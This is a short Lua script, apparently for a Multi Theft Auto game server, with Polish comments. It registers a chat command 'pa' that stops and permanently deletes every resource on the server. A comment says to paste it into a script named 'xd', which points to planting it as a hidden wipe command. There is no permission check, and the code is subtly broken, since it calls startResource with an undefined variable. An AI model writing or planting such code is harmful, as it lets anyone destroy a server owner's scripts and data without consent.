function clrrs(cmd)
 local resourceTable = getResources( )
    for resourceKey, resourceValue in ipairs (resourceTable) do
        local resourceName = getResourceName(resourceValue)
		stopResource(resourceName)
		startResource(xd) -- "xd" nazwa skryptu gdzie wklejasz tą funkcje
	local deleted = deleteResource(resourceName)
            if deleted then
                outputChatBox ("Delete resource", source)
            else
                outputChatBox ("Nie usunieto jakiegos skryptu", source)
            end
		end
end
addCommandHandler ("pa", clrrs)